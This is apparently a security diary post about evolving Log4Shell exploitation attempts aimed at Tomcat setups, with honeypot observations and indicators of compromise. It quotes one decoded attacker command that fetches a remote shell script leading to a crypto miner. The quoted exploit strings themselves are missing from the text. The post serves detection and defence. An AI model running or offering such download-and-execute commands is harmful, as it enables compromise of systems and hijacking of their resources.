Last Updated: 2022-01-17 14:04:37 UTC
by Johannes Ullrich (Version: 1)
Ever since news of the Log4Shell vulnerability broke, we saw a stream of attacks attempting to exploit this vulnerability in log4j (CVE-2021-44228).
Initial attempts where rather "blunt", and attempted to insert the JNDI exploit string into various fields without much concern how and where the string may be logged. More recently, we did some however some more specific exploits targeting specific software configurations. Most notably, exploit have been released for Unifi's network controller and VMWare.
Today for example, we saw some exploit strings that may be targeting Tomcat configurations:
This decodes to:
With the Base64 part decoding to: curl 220.127.116.11/mad.sh . This will lead, after many redirects and the like, to a good old xmrig miner. Maybe something for a later day as there are some interesting tidbits in the various shell scripts downloaded.
A second, similar attempt was found in about two dozens of our honeypots:
The URL retrieved by this attempt is no longer available, but given the similar method, chances are it is yet another crypto minder.
A few things to look for:
- The first attempt is erasing log lines that contain this IP address: 18.104.22.168
- It creates a /tmp/.shanbe directory
- connects to a mining pool at 22.214.171.124 (port 3333)
- Downloads additional code from 126.96.36.199 .
But then again, if you need IoCs like this to detect crypto miners: Reassess what kind of monitoring you do on more basic parameters like CPU load and rogue processes running on systems.
The news around log4shell has gotten quiet, but it isn't over yet. Attacks keep evolving and do not consider this a non-event if none of the initial "pray and spray" attacks affected you.